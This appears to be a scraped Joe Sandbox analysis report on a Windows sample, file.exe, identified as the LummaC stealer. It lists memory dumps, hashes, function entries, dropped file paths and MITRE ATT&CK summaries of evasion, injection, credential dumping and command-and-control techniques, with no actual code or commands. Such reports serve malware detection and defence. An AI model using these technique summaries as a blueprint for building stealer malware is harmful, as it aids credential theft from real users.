Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8e969075d766a9b30cb40fc1b15821dc13b40be2abd29822b5ba70c3c33ad955
Instruction ID: a9bfc8cf62929b2909321faaf97cf3dae2c783036b6d932c2dc76b56c96aedba
Opcode Fuzzy Hash: 8e969075d766a9b30cb40fc1b15821dc13b40be2abd29822b5ba70c3c33ad955
Instruction Fuzzy Hash: FBF030B160C105DFDB042F69E848BBEB7A4FF58350F154A3DEA9582780C6320D21DA9A

Non-executed Functions

Function 00E2B5F3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1328b247e933ee2995e33cafddc3a1bcc080cccc9568a8715e99511cac982c
Instruction ID: d0decf152ef3d48d72a48a817f270f220f68e84ca2f85f7a8bba5d29afca2ffb
Opcode Fuzzy Hash: 6f1328b247e933ee2995e33cafddc3a1bcc080cccc9568a8715e99511cac982c
Instruction Fuzzy Hash: 78E04F76005141AAD7009F54D84599FFBF4FF19320F20A445E844D7222C3358C41CB29

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5C18KRB735WCGR95JY.exe.log

C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
file.exe

Function 00E19451 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84
fileCOMMON

Function 00E2547A Relevance: 4.6, APIs: 3, Instructions: 56
registryCOMMON

Function 00E18FCE Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 196
fileCOMMON

Function 00C9ECD4 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 36
memoryCOMMON

Function 00E19018 Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Function 00E18FE2 Relevance: 1.6, APIs: 1, Instructions: 125
fileCOMMON

Function 00E1902E Relevance: 1.6, APIs: 1, Instructions: 99
fileCOMMON

Function 00E1618C Relevance: 1.6, APIs: 1, Instructions: 92
libraryCOMMON

Function 06CA0D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 06CA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 06CA1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 06CA1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 06CA1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 06CA1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre